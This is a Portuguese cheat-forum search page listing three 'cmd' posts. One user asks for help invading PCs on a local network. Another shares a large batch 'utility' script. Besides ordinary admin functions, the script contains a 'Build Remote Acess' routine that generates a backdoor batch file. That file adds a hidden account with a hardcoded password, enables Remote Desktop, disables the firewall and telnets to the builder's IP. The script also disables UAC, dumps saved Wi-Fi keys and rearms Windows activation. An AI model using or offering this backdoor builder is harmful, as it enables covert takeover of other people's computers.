Jump to content

O Retorno dos Membros VIP Junte-se ao Clube

Obtenha destaque e desfrute os benefícios exclusivos para VIP.
Clique Aqui

Reporte bugs e nos ajude a melhorar!

Nos ajude a descobrir bugs! Além de melhorar a comunidade.
Reporte aqui!

Conheça a Lotérica e arrisque sua sorte!

Descubra o quão sortudo você pode ser.
Saiba mais
Notícia
  • Junte-se ao Clube de membros VIP!
  • Teste sua sorte em nossa loteria e concorra a uma fortuna de webcoins!

Search the Community

Showing results for tags 'cmd'.



More search options

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Anunciantes
    • Advertise here
    • silvaBR Cheats
    • WoXArea
    • SecureCheats
    • Cheat Gamers Club
  • ################## WEB CHEATS ##################
  • Anúncios/Eventos
    • Regras
    • Anúncios
    • Eventos do fórum
  • Feedback & Suporte
    • Tutoriais WC
    • Suporte
    • Sugestões
    • Denúncias e Reclamações
    • Depósito
  • WebCheats Premium
    • Trackers & Warez
    • Download
    • Cracking
    • Serviços Pagos - Pedidos
    • MarketPlace
    • Conteúdo Adulto
    • Taverna WebCheats Premium
    • WebCheats Premium - Lixeira
  • Shooter Zone
  • RPG/MOBA Zone
  • Outros Games Zone
  • Design Zone
  • Info Zone
  • Video Games Zone
  • ################## WEB CHEATS ##################
  • Entretenimento & Diversão
  • 【FREE FIRE】▄︻┻┳═一's Fórum do Clube

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


About Me


Discord

Found 3 results

  1. Preciso de um injetor em cmd , alguem pode me ajudar ?
  2. Minha função é copiar codigos e colar em uma pagina para passar o acesso. hehe, preciso de ajuda de vcs. Alguem me adiciona ai, nem sei se tem como, mas queria suporte de vcs. ajuda para invadir pc's da minha rede local (ela é grande);. bEIJAAAAAAAAAAAAAAAAAAAAOOOO
  3. Bom a muito tempo venho "brincando" em desenvolver um arquivo .bat que junte várias funções que podem vir a ser útil no meu dia a dia, sempre estou em contato com computadores, tanto em minha casa, na minha faculdade ou na minha empresa. Sem mais delongas, como gosto de fazer minha parte estou disponibilizando o mesmo para vocês, podem editar, alterar, deletar, façam oque quiserem. Caso queiram posso vir a postar as futuras atualizações, fica a critério de vocês. As funções presentes até o momento: Obs1: O arquivo sempre recebe atualizações, existe um site onde é postado as atualizações mesmo que praticamente insignificantes, caso queira basta me manda uma mensagem; Obs2: Existem limitações, então não espere que venha a fazer milagres; Obs3: Aceito sugestões e criticas desde que sejam construtivas. @Echo off & SetLocal EnableExtensions EnableDelayedExpansion ren %~0 aBATCH.bat title AdvancedBATCH :: Last Update 19/02/2017 color 0e cls set "Arguments=%~1" if not defined Arguments (goto:CHECK_MAIN) set Pasta=%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ copy "%Arguments%" "%pasta%\" 2>nul && msg * /time 3 "Installation Completed, the file will start with the Windows^^!" || msg * /time 3 "ERROR?" TIMOUT 3 Exit :CHECK_MAIN openfiles > NUL 2>&1 if NOT %ERRORLEVEL% EQU 0 goto MAIN_NEUTRO Echo ________________________________________________________________________________ Echo =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Echo _______ ______ _______ _________ __ Echo ( ___ ) ( __ \ ( ) \__ __/ ( ( /l Echo l ( ) l l ( \ ) l () () l ) ( l \ ( l Echo l (___) l l l ) l l ll ll l l l l \ l l Echo l ___ l l l l l l l(_)l l l l l (\ \) l Echo l ( ) l l l ) l l l l l l l l l \ l Echo l ) ( l l (__/ ) l ) ( l ___) (___ l ) \ l Echo l/ \l (______/ l/ \l \_______/ l/ )_) %username%^^! Echo ADVANCED BATCH Build [22] Echo =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= goto Inicio :MAIN_NEUTRO Echo ________________________________________________________________________________ Echo: Echo HELLO, Echo ll ll lllll Echo lll lll ll ll Echo ll ll ll ll ll Echo ll ll lllll %username%^^! Echo ll ll ll ll Echo: Echo ADVANCED BATCH Build [22] Echo: :Inicio Echo ________________________________________________________________________________ Echo: set/a CONTA=0 set /p "Comando=. " FOR %%B IN (abcdefghijklmnopqrstuvwxyz) DO (SET LETRASY=%%B) FOR %%C IN (ABCDEFGHIJKLMNOPQRSTUVWXYZ) DO (SET LETRASX=%%C) :CmdList set/a CONTA+=1 CALL SET FINAL=%%LETRASX:~-%CONTA%,1%% CALL SET FINALX=%%LETRASY:~-%CONTA%,1%% set Comando=!Comando:%FINAL%=%FINALX%! if %CONTA% == 28 ( if "%Comando%" equ "-" set /p cmd=!cd!^> & !cmd! & goto Inicio if "%Comando%" equ "-f" (goto CMDFORCE) if "%Comando%" equ "commands" (goto Commands) if "%Comando%" equ "credits" (goto Credits) if "%Comando%" equ "cl" cls & goto CHECK_MAIN if "%Comando%" equ "cls" cls & goto CHECK_MAIN if "%Comando%" equ "clear" cls & goto CHECK_MAIN if "%Comando%" equ "restart" start %~0 & Exit if "%Comando%" equ "refresh" start %~0 & Exit if "%Comando%" equ "reload" start %~0 & Exit if "%Comando%" equ "telnet help" (goto TELNETACTIVE) if "%Comando%" equ "pr0ject on" attrib pr0ject -h -s & Echo. Completed^^! & goto Inicio if "%Comando%" equ "pr0ject off" attrib pr0ject +h +s & Echo. Completed^^! & goto Inicio rem FUNCTIONS: if "%Comando%" equ "windows active" (goto WindowsActive) if "%Comando%" equ "wifi password" (goto WiFiPassword) if "%Comando%" equ "taskkill" (goto Taskk) if "%Comando%" equ "bs" (goto BLOCKSITES) if "%Comando%" equ "bs list" (goto BLOCKSITES_List) if "%Comando%" equ "cf" (goto CHECK_LIMPARPASTASVAZIAS) if "%Comando%" equ "firewall on" (goto FireWallON) if "%Comando%" equ "firewall off" (goto FireWallOFF) if "%Comando%" equ "safemode on" (goto SAFEMODE) if "%Comando%" equ "safemode off" (goto SAFEMODEOFF) if "%Comando%" equ "add notes" (goto Add_Notes) if "%Comando%" equ "ready notes" (goto Ready_Notes) if "%Comando%" equ "system info" (goto SystemInfo) if "%Comando%" equ "active x excel off" (goto ACTIVE_X_Excel) if "%Comando%" equ "ftp acess" (goto FTP_ACESS) if "%Comando%" equ "export wifi profiles" (goto EXPORTWIFI) if "%Comando%" equ "system boost" (goto SYSTEMBOOST) if "%Comando%" equ "uac on" (goto UAC_ACTIVE) if "%Comando%" equ "uac off" (goto UAC_DESACTIVE) if "%Comando%" equ "win optimizer on" (goto WinOtmize) if "%Comando%" equ "win optimizer off" (goto WinOtmize_Restore) rem ACESSO REMOTO: if "%Comando%" equ "build remote acess" (goto Build_Remote_Acess ) if "%Comando%" equ "connect remote acess" (goto Connect_Remote_Acess ) if "%Comando%" equ "scan remote acess" (goto Scan_Remote_Acess) Echo: ) else (goto:CmdList) Echo *Unknown command! goto Inicio :Commands Echo: CD %userprofile%\Desktop\ MD CommandsList CD %userprofile%\Desktop\CommandsList\ Echo ############################### FUNCTIONS ################################ Echo: echo. to use Command Prompt ;> " 1 . [ - ] or [ -f ]" echo. show the commands ;> " 2 . [ Commands ]" echo. Show the Credits ;> " 3 . [ Credits ]" echo. Restart the Program ;> " 4 . [ Restart ]" echo. Active the Windows (30 days) ;> " 5 . [ Windows Active ]" echo. Show password WiFi if you are Connected to it ;> " 6 . [ WiFi Password ]" echo. Kill any Process ;> " 7 . [ TaskKill ]" echo. Disable Active X warning in Excel ;> " 8 . [ ACTIVE X Excel OFF ]" echo. Block Websites on Localhost ;> " 9 . [ BS ] or [ BS list ]" echo. Clear any Empty Folders ;> " 10 . [ CF ]" echo. Enables or Disables the FireWall ;> " 11 . [ FireWall ON - OFF ]" echo. Enables or Disables the SafeMode ;> " 12 . [ SafeMode ON - OFF ]" echo. To creat a fast note ;> " 13 . [ Add Notes ]" echo. To ready all notes ;> " 14 . [ Ready Notes ]" echo. Show a simple System Infomations ;> " 15 . [ System Info ]" echo. Get acess to your FTP Server ;> " 16 . [ FTP Acess ]" echo. Save in XML File all WiFi Profiles ;> " 17 . [ Export WiFi Profiles ]" echo. How to Activate the Telnet ;> " 18 . [ Telnet Help ]" echo. Accelerates the Windows Processing ;> " 19 . [ System Boost ]" echo. User Account Control ;> " 20 . [ UAC ON - OFF ]" echo. Optimizes some windows functions for higher performance ;> " 21 . [ WIN OPTIMIZER ON - OFF ]" FINDSTR /A:0c /C:" to use Command Prompt ;" /S " 1 . [ - ] or [ -f ]" FINDSTR /A:0c /C:" show the commands ;" /S " 2 . [ Commands ]" FINDSTR /A:0c /C:" Show the Credits ;" /S " 3 . [ Credits ]" FINDSTR /A:0c /C:" Restart the Program ;" /S " 4 . [ Restart ]" FINDSTR /A:0c /C:" Active the Windows (30 days) ;" /S " 5 . [ Windows Active ]" FINDSTR /A:0c /C:" Show password WiFi if you are Connected to it ;" /S " 6 . [ WiFi Password ]" FINDSTR /A:0c /C:" Kill any Process ;" /S " 7 . [ TaskKill ]" FINDSTR /A:0c /C:" Disable Active X warning in Excel ;" /S " 8 . [ ACTIVE X Excel OFF ]" FINDSTR /A:0c /C:" Block Websites on Localhost ;" /S " 9 . [ BS ] or [ BS list ]" FINDSTR /A:0c /C:" Clear any Empty Folders ;" /S " 10 . [ CF ]" FINDSTR /A:0c /C:" Enables or Disables the FireWall ;" /S " 11 . [ FireWall ON - OFF ]" FINDSTR /A:0c /C:" Enables or Disables the SafeMode ;" /S " 12 . [ SafeMode ON - OFF ]" FINDSTR /A:0c /C:" To creat a fast note ;" /S " 13 . [ Add Notes ]" FINDSTR /A:0c /C:" To ready all notes ;" /S " 14 . [ Ready Notes ]" FINDSTR /A:0c /C:" Show a simple System Infomations ;" /S " 15 . [ System Info ]" FINDSTR /A:0c /C:" Get acess to your FTP Server ;" /S " 16 . [ FTP Acess ]" FINDSTR /A:0c /C:" Save in XML File all WiFi Profiles ;" /S " 17 . [ Export WiFi Profiles ]" FINDSTR /A:0c /C:" How to Activate the Telnet ;" /S " 18 . [ Telnet Help ]" FINDSTR /A:0c /C:" Accelerates the Windows Processing ;" /S " 19 . [ System Boost ]" FINDSTR /A:0c /C:" User Account Control ;" /S " 20 . [ UAC ON - OFF ]" FINDSTR /A:0c /C:" Optimizes some windows functions for higher performance ;" /S " 21 . [ WIN OPTIMIZER ON - OFF ]" Echo: Echo ############################## REMOTE ACESS ############################## Echo: echo. Build the remote Batch ;> " 1 . [ Build Remote Acess ]" echo. Remote Acess ;> " 2 . [ Connect Remote Acess ]" echo. Scan Connection ;> " 3 . [ Scan Remote Acess ]" FINDSTR /A:0c /C:" Build the remote Batch ;" /S " 1 . [ Build Remote Acess ]" FINDSTR /A:0c /C:" Remote Acess ;" /S " 2 . [ Connect Remote Acess ]" FINDSTR /A:0c /C:" Scan Connection ;" /S " 3 . [ Scan Remote Acess ]" CD %userprofile%\Desktop\ RD /S /Q CommandsList Echo: goto Inicio :Credits Echo: set "Texto= By" set "Texto2= pr0ject404" set "Texto3= Scripts" set "Texto4= Boss-Head, LokiTheGodOfChaos, Hmenon, MasterMC, NeoqJav" set "Texto5= Blog" set "Texto6= www.pr0ject404.esy.es" call :Color_ir 0C "%Texto%" call :Color_ir 08 "%Texto2%" call :Color_ir 0C "%Texto3%" call :Color_ir 08 "%Texto4%" call :Color_ir 0C "%Texto5%" call :Color_ir 08 "%Texto6%" Echo: goto Inicio :Color_ir mkdir $temp || (Exit /b 2) pushd $temp || (rmdir $temp & Exit /b 1) for /f "delims=" %%. in (' "%ComsPec% /K Prompt $h$h <&1" ') do >o_o Echo %%. Call:Tex_to %1 %2 popd rmdir /S /Q $temp Endlocal & Exit /b 0 :Tex_to >%2 (set/P=+) <&1 findstr /a:%1 + %2 con type o_o GOTO :EOF :CMDFORCE cls prompt !cd!^> CMD goto CMDFORCE :SAFEMODE echo: openfiles > NUL 2>&1 if NOT %ERRORLEVEL% EQU 0 echo. *You need Administrator Permission! & goto Inicio ECHO. DISABLING EXCEPTIONS... netsh firewall set opmode mode = ENABLE exceptions = DISABLE ECHO. DISABLING REMOTE CONNECTION... netsh firewall set service remoteadmin disable Echo. Completed^^! echo: goto Inicio :SAFEMODEOFF echo: openfiles > NUL 2>&1 if NOT %ERRORLEVEL% EQU 0 echo. *You need Administrator Permission! & goto Inicio ECHO ENABLE EXCEPTIONS... netsh firewall set opmode mode = DISABLE exceptions = ENABLE ECHO ENABLING REMOTE CONNECTION... netsh firewall set service remoteadmin enable echo. Completed^^! echo: goto Inicio :CHECK_LIMPARPASTASVAZIAS openfiles > NUL 2>&1 if NOT %ERRORLEVEL% EQU 0 goto LIMPARPASTASVAZIAS_NEUTRO Echo Please, set the Directory before [Ex: C:\Users\%username%\Desktop]: set /p CMD= cd %CMD% Echo all empty folders will be deleted! timeout 20 Echo Starting... for /f "delims=" %%d in ('dir /s /b /ad ^| sort /r') do rd "%%d" echo. Finished^^! goto Inicio :LIMPARPASTASVAZIAS_NEUTRO Echo You need to run as administrator to clear other directories. timeout 20 Echo all empty folders will be deleted! Echo Starting... for /f "delims=" %%d in ('dir /s /b /ad ^| sort /r') do rd "%%d" echo. Finished^^! goto Inicio :FireWallON openfiles > NUL 2>&1 if NOT %ERRORLEVEL% EQU 0 echo. *You need Administrator Permission! & goto Inicio netsh advfirewall set allprofiles state on > NUL echo. Completed^^! goto Inicio :FireWallOFF openfiles > NUL 2>&1 if NOT %ERRORLEVEL% EQU 0 echo. *You need Administrator Permission! & goto Inicio netsh advfirewall set allprofiles state off > NUL echo. Completed^^! goto Inicio :WindowsActive openfiles > NUL 2>&1 if NOT %ERRORLEVEL% EQU 0 echo. *You need Administrator Permission! & goto Inicio slmgr -rearm > NUL echo. Completed^^! goto Inicio :WiFiPassword set /p Name= WiFi Name (You must be connected): netsh wlan show profile name="%name%" key=clear goto Inicio :taskk tasklist set /p TASKKILL= Name ( Ex: explorer.exe ): Echo: taskkill /F /IM %TASKKILL% /T Echo: goto Inicio :BLOCKSITES openfiles > NUL 2>&1 if NOT %ERRORLEVEL% EQU 0 echo. *You need Administrator Permission! & goto Inicio set /p DDIR=SITE URL: Attrib -r -s -h %WINDIR%\system32\drivers\etc\hosts Echo 127.0.0.1 %DDIR% >> %WINDIR%\system32\drivers\etc\hosts Attrib +r +s +h %WINDIR%\system32\drivers\etc\hosts goto Inicio :BLOCKSITES_List openfiles > NUL 2>&1 if NOT %ERRORLEVEL% EQU 0 echo. *You need Administrator Permission! & goto Inicio Attrib -r -s -h %WINDIR%\system32\drivers\etc\hosts notepad %WINDIR%\system32\drivers\etc\hosts Attrib +r +s +h %WINDIR%\system32\drivers\etc\hosts goto Inicio :Add_Notes set "Data=" set/p "Data=- Title: " if not defined Data (goto:Add) echo: set "Tarefa=" set/p "Tarefa=- Text: " echo: >> %~0 echo:Title: %Data% >> %~0 echo:::AGENDA::Text: %Tarefa% >> %~0 echo:::AGENDA::Time/Date: %TIME% - %DATE% >> %~0 Echo:::AGENDA::________________________________________________________________________________ >> %~0 goto:Inicio :Ready_Notes for /f "tokens=*" %%x in (%~0) do ( set "Linha=%%x" if ["!Linha:~0,10!"]==["::AGENDA::"] ( set "Linha=!Linha:~10!" echo: echo:!Linha! ) ) echo End^^! goto:Inicio :SystemInfo Echo: ( Echo Option Explicit Echo Dim WshShell,FSO,Drv,Dtype,Dfree,Dtot Echo Dim Dname,Dpct,Dused,Dserial,Dinfo Echo Set WshShell=WScript.CreateObject^("WScript.Shell"^) Echo Set FSO=CreateObject^("Scripting.FileSystemObject"^) Echo For each Drv in FSO.Drives Echo If Drv.DriveType=0 Then Dtype="Desconhecido " Echo If Drv.DriveType=1 Then Dtype="Removível" Echo If Drv.DriveType=2 Then Dtype="Fixo " Echo If Drv.DriveType=3 Then Dtype="Rede " Echo If Drv.DriveType=4 Then Dtype="CD-ROM " Echo If Drv.DriveType=5 Then Dtype="Flash-ram " Echo If Drv.IsReady Then Echo If Drv.DriveType=4 Then Echo Dfree="INDISPONIVEL" Echo ElseIf Drv.FreeSpace^<1024^^2 Then Echo Dfree=FormatNumber^(Drv.FreeSpace/1024,0^)^&" KB" Echo ElseIf Drv.FreeSpace^<10240^^2 Then Echo Dfree=FormatNumber^(Drv.FreeSpace/^(1024^^2^),2^)^&" MB" Echo Else Echo Dfree=FormatNumber^(Drv.FreeSpace/^(1024^^2^),0^)^&" MB" Echo End If Echo If Drv.TotalSize^<1024^^2 Then Echo Dtot=FormatNumber^(Drv.TotalSize/1024,0^)^&" KB" Echo ElseIf Drv.TotalSize^<10240^^2 Then Echo Dtot=FormatNumber^(Drv.TotalSize/^(1024^^2^),2^)^&" MB" Echo Else Echo Dtot=FormatNumber^(Drv.TotalSize/^(1024^^2^),0^)^&" MB" Echo End If Echo If Drv.VolumeName="" Then Echo Dname="[sem Nome]" Echo Else Echo Dname=Drv.VolumeName Echo End If Echo Dused=Drv.TotalSize-Drv.FreeSpace Echo If Dused^<1024^^2 Then Echo Dused=FormatNumber^(Dused/1024,0^)^&" KB" Echo ElseIf Dused^<10240^^2 Then Echo Dused=FormatNumber^(Dused/^(1024^^2^),2^)^&" MB" Echo Else Echo Dused=FormatNumber^(Dused/^(1024^^2^),0^)^&" MB" Echo End If Echo If Drv.DriveType=4 Then Echo Dpct="N/A" Echo Else Echo Dpct=FormatPercent^(Drv.FreeSpace/Drv.TotalSize,1^) Echo End If Echo If Drv.DriveType=5 Then Echo Dserial="N/A" Echo Else Echo Dserial=Hex^(Drv.SerialNumber^) Echo End If Echo Dinfo=Dinfo^&"Drive "^&Drv.DriveLetter^& ": " ^& "Tipo: "^&Dtype ^&vbCRLF^&_ Echo "Tipo de formato: "^&Drv.FileSystem^&vbCRLF^&_ Echo "Tamanho total: "^&Dtot^&vbCRLF^&_ Echo "Espaco livre: "^&Dfree^&vbCRLF^&_ Echo "Nome do disco: "^&Dname^&vbCRLF^&_ Echo "Espaco usado: "^&Dused^&vbCRLF^&_ Echo "Disponivel: "^&Dpct^&vbCRLF^&vbCRLF rem Echo "Numero de serie: "^&Dserial^&vbCRLF^&vbCRLF Echo Else Echo Dinfo=Dinfo^&"Drive "^&Drv.DriveLetter^&_ Echo ":"^&_ Echo "Tipo de disco: "^&Dtype^&_ Echo "(Sem disco no drive)"^&vbCRLF^&vbCRLF Echo End If Echo Next Echo WScript.Echo Dinfo )>SDISC.vbs for /f "delims=" %%l in ('wmic computersystem get Manufacturer^,Model^,SystemType^,TotalPhysicalMemory /format:list') do >nul 2>&1 set "Sistema_%%l" for /f "delims=" %%l in ('wmic cpu get * /format:list') do >nul 2>&1 set "CPU_%%l" for /f "delims=" %%l in ('wmic os get FreePhysicalMemory^,TotalVisibleMemorySize /format:list') do >nul 2>&1 set "OS_%%l" set /a OS_UsedPhysicalMemory=OS_TotalVisibleMemorySize-OS_FreePhysicalMemory FOR /F "tokens=4" %%a in ('systeminfo ^| findstr "Memorias fisica total"') do if defined totalMem (set availableMem=%%a) else (set totalMem=%%a) FOR /F "tokens=2 delims='='" %%A in ('wmic %cstring% %ustring% %pstring% os get Name /value') do SET osname=%%A FOR /F "tokens=1 delims='|'" %%A in ("%osname%") do SET osname=%%A FOR /F "tokens=2 delims='='" %%A in ('wmic %cstring% %ustring% %pstring% os get ServicePackMajorVersion /value') do SET sp=%%A set totalMem=%totalMem% set availableMem=%availableMem% set /a usedMem=totalMem-availableMem Echo Windows Serial: wmic path softwarelicensingservice get OA3xOriginalProductKey ( Echo OS: %osname% Echo Service Pack: %sp% Echo Board Manufacturer: %Sistema_Manufacturer% Echo Board template: %Sistema_Model% Echo Processor: %PROCESSOR_ARCHITECTURE% Echo Processor type: %CPU_AddressWidth% Echo System type: %Sistema_SystemType% Echo RAM total: %OS_TotalVisibleMemorySize% KiB Echo RAM free: %OS_FreePhysicalMemory% KiB Echo RAM used: %OS_UsedPhysicalMemory% KiB sysdm.cpl control userpasswords2 CSCRIPT /NOLOGO SDISC.vbs )>"%~dp0SLIST.TXT" set num=0 FOR /F "USEBACKQ TOKENS=*" %%A IN ("%~dp0SLIST.TXT") DO ( set SINFO=%%A call :SINFO_num ) del %~dp0SLIST.TXT del %~dp0SDISC.vbs goto Inicio :SINFO set /a num=%num%+1 :SINFO_num echo %SINFO% rem set SINFO="%~1" set SINFO=%SINFO:(=[% set SINFO=%SINFO:)=]% set SINFO=%num% - %SINFO% GOTO:EOF :ACTIVE_X_Excel openfiles > NUL 2>&1 if NOT %ERRORLEVEL% EQU 0 echo. *You need Administrator Permission! & goto Inicio reg add "HKCU\SOFTWARE\Microsoft\Office\VBA\Security" /v LoadControlsInForms /t reg_dword /d 4 /f RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters ,1 ,True goto Inicio :FTP_ACESS set /p ServURL= URL: set /p ServLOG= Login: Set /p "= Password:" < Nul Call :PasswordInput IF "%ServURL%" == "usuario predefinido" ( start explorer "ftp://usuario:[email protected]/" goto Inicio ) ELSE ( ping -n 1 %ServURL% >nul IF "%ERRORLEVEL%" == "0" ( start explorer "ftp://%ServLOG%:[email protected]%ServURL%/" ) ELSE ( goto Inicio ) goto Inicio ) :PasswordInput ::consolesoft.com/batch/?#password_input ::Author: Carlos Montiers Aguilera ::Last updated: 20150405. Created: 20150401. ::Set variable pwd with input password ::Needs delayed expansion enabled Set "pwd=" Set "INTRO=" &For /F "skip=1" %%# in ( '"Echo(|Replace.exe ? . /U /W"' ) Do If Not Defined INTRO Set "INTRO=%%#" For /F %%# In ( '"Prompt $H &For %%_ In (_) Do Rem"') Do Set "BKSPACE=%%#" :_PasswordInput_Kbd Set "Excl=" Set "CHR=" &For /F skip^=1^ delims^=^ eol^= %%# in ( 'Replace.exe ? . /U /W') Do If Not Defined CHR ( Set "CHR=%%#" &If "%%#"=="!" Set "Excl=yes") If "!INTRO!"=="!CHR!" Echo(&Goto :Eof If "!BKSPACE!"=="!CHR!" (If Defined pwd ( Set "pwd=!pwd:~0,-1!" Set /P "=!BKSPACE! !BKSPACE!" <Nul) Goto :_PasswordInput_Kbd ) Else If Not Defined Excl ( Set "pwd=!pwd!!CHR:~0,1!" ) Else Set "pwd=!pwd!^!" Set /P "=*" <Nul Goto :_PasswordInput_Kbd :EXPORTWIFI md WiFiXML >nul Netsh WLAN export profile key=clear folder="%cd%\WiFiXML" >nul Echo. Exported^^! Start WiFiXML >nul goto Inicio :TELNETACTIVE echo. 1 - Select "Enable or Disable Windows Features" echo. 2 - Select "Telnet Client" and press OK. Echo. Finished^^! appwiz.cpl goto Inicio :SYSTEMBOOST ipconfig /flushdns del C:\Windows\Prefetch\*.* /Q Rundll32.exe advapi32.dll,ProcessIdleTasks rem Limpa seu diretório Prefetch del /s /f /q %temp%\*.* %windir%\system32\rundll32.exe advapi32.dll,ProcessIdleTasks cd C:\Program Files\CCleaner IF EXIST "CCleaner.exe" ( start CCleaner.exe /AUTO CD %userprofile%\Desktop\ Echo. Completed^^! & goto Inicio ) ELSE ( CD %userprofile%\Desktop\ Echo. Completed^^! & goto Inicio ) goto Inicio :UAC_ACTIVE openfiles > NUL 2>&1 if NOT %ERRORLEVEL% EQU 0 echo. *You need Administrator Permission! & goto Inicio reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters ,1 ,True Echo. Completed^^! & goto Inicio :UAC_DESACTIVE openfiles > NUL 2>&1 if NOT %ERRORLEVEL% EQU 0 echo. *You need Administrator Permission! & goto Inicio reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 1 /f RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters ,1 ,True Echo. Completed^^! & goto Inicio :Build_Remote_Acess Echo: set /p EXTIP= Your External IP: echo @echo off>>RA.bat echo net user /add An0nym0us bosshead>>RA.bat echo @reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fAllowToGetHelp" /t REG_DWORD /d "1" /f>>RA.bat echo cls>>RA.bat echo @reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d "0" /f>>RA.bat echo cls>>RA.bat echo @reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /t REG_DWORD /v "An0nym0us" /d "0" /f>>RA.bat echo netsh firewall set opmode disable>>RA.bat echo cls>>RA.bat echo telnet %EXTIP%>>RA.bat echo. Created^^! Echo: goto Inicio :Connect_Remote_Acess Echo: echo. User: [An0nym0us] echo. Password: [bosshead] echo. Domain: [null] start mstsc.exe /f Echo: goto Inicio :Scan_Remote_Acess Echo: arp -a IF EXIST "WNetWatcher.exe" ( start WNetWatcher.exe Echo. Completed^^! & goto Inicio ) ELSE ( Echo. Completed^^! & goto Inicio ) Echo: goto Inicio :WinOtmize openfiles > NUL 2>&1 if NOT %ERRORLEVEL% EQU 0 echo. *You need Administrator Permission! & goto Inicio rem abrir pastas mais rapido cd C:\WINDOWS echo ; for 16-bit app support > system.ini echo. >> system.ini echo.[drivers] >> system.ini echo wave=mmdrv.dll >> system.ini echo timer=timer.drv >> system.ini echo. >> system.ini echo [mci] >> system.ini echo [driver32] >> system.ini echo [386enh] >> system.ini echo conservativeswapfileusage=1 >> system.ini echo woafont=app850.FON >> system.ini echo EGA80WOA.FON=EGA80850.FON >> system.ini echo EGA40WOA.FON=EGA40850.FON >> system.ini echo CGA80WOA.FON=CGA80850.FON >> system.ini echo CGA40WOA.FON=CGA40850.FON >> system.ini rem Rapidez de acesso a programas e arquivos reg add "hklm\SYSTEM\CurrentControlSet\Control\FileSystem" /v ContigFileAllocSize /d "200" /f cd %userprofile%\Desktop\ Echo: Echo. Completed^^! Echo. Now you need restart your system. Echo: goto Inicio :WinOtmize_Restore openfiles > NUL 2>&1 if NOT %ERRORLEVEL% EQU 0 echo. *You need Administrator Permission! & goto Inicio rem abrir pastas mais rapido cd C:\WINDOWS echo ; for 16-bit app support > system.ini echo. >> system.ini echo.[drivers] >> system.ini echo wave=mmdrv.dll >> system.ini echo timer=timer.drv >> system.ini echo. >> system.ini echo [mci] >> system.ini echo [driver32] >> system.ini echo [386enh] >> system.ini echo woafont=app850.FON >> system.ini echo EGA80WOA.FON=EGA80850.FON >> system.ini echo EGA40WOA.FON=EGA40850.FON >> system.ini echo CGA80WOA.FON=CGA80850.FON >> system.ini echo CGA40WOA.FON=CGA40850.FON >> system.ini cd %userprofile%\Desktop\ Echo: Echo. Completed^^! Echo. Now you need restart your system. Echo: goto Inicio ::AGENDA::Results: ::AGENDA::________________________________________________________________________________ Atualizado 19/02 Windows XP - NÃO TESTADO Windows 7 - NÃO TESTADO Windows 8 - OK Windows 8.1 - OK Windows 10 - OK Faz muito tempo que não posto nada na Web Cheats, espero que esteja ao nível de vocês.
×
×
  • Create New...